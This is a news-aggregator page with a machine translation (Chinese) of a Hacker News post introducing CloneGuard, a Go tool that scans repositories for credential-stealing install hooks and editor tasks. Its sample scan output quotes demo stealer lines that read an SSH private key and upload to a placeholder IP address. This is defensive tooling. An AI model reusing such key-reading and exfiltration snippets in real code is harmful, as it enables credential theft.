返回资讯中心
外部精选
软件工程
#开发者实时流

CloneGuard 发布:运行代码前扫描仓库中的凭据窃取行为

来源标题:HN: CloneGuard – scan a repo for credential-stealing tricks before you run it

开发者发布开源工具 CloneGuard,可在运行项目前扫描其中是否藏有窃取凭据的恶意手法。该工具用 Go 编写、无第三方依赖,只读取文件,不会执行或安装被扫描项目中的任何内容,旨在防范伪装成招聘测试的「demo app」窃取 SSH 密钥和 AWS 凭据。

Hacker News 最新tharun2082026/11/6 · 今天12 分钟阅读

以下正文由 AI 翻译自 Hacker News 最新(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。

在运行项目之前,先扫描它是否藏有恶意软件伎俩。这个工具是在一个假招聘者的“演示应用”试图窃取 SSH 和 AWS 密钥之后开发的。

cloneguard 是一个小巧、无第三方依赖的 Go 命令行工具。它只读取文件,从不运行、安装或导入它所扫描项目中的任何内容。

一种常见的攻击方式是这样的:有人冒充招聘者,给你发来一份“回家作业”或“演示应用”。你把它克隆下来,运行 npm install,或者在编辑器里打开它,它就会悄悄上传你的 SSH 密钥、云凭证、浏览器密码或加密钱包。触发点往往不是应用本身,而是安装钩子或编辑器任务——你打开文件夹的那一刻它们就会执行。

cloneguard 提供快速的初步检查,能发现常见的伎俩,让你判断这个项目是否可以安全接触。

需要 Go 1.24+。没有任何第三方依赖。

go build -o cloneguard ./cmd/cloneguard

可选:把二进制文件放到 PATH 中,例如 mv cloneguard /usr/local/bin/。

cloneguard clone https://github.com/someone/demo-app # 克隆后立即扫描 cloneguard scan ./some-folder # 扫描已有文件夹 cloneguard scan # 扫描当前文件夹 cloneguard ./some-folder # scan 的简写 cloneguard scan --json ./some-folder # 机器可读输出

clone 会执行 git clone(只下载文件,不执行项目代码),把仓库克隆到以仓库名命名的文件夹中;如果你指定了 [dir],则克隆到该目录,然后进行扫描。

其他命令:cloneguard help、cloneguard version。

代码 判定 含义 0 clean 未发现危险信号 1 caution 仅有中危发现 2 suspicious 至少有一项高危发现 3 dangerous 至少有一项严重发现 10 error 用法错误、路径不可读,或 git clone 失败

这使得它很容易用在脚本或 git 钩子中,例如 cloneguard scan . || exit 1。

扫描自带的 demo/ 文件夹,其中包含一个假的窃密程序和一个自动运行的 VS Code 任务:

$ cloneguard scan --no-color demo DANGEROUS 不要运行或安装此项目中的任何内容。 1 项严重,2 项高危,1 项中危,0 项低危 [严重] util.js:1 既想获取你的机密,又与可疑服务器通信 [高危] .vscode/tasks.json:1 你一打开文件夹就运行命令 [高危] util.js:1 触碰你的 SSH 密钥

readFile(“~/.ssh/id_rsa”); [中危] util.js:2 连接到一个裸 IP 地址 fetch(“http://203.0.113.7:8080/upload”);

每项发现都会显示文件和行号、有问题的代码片段,以及通俗易懂的说明,解释它为什么值得警惕。(以上输出有删节。)

“root”: “demo

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →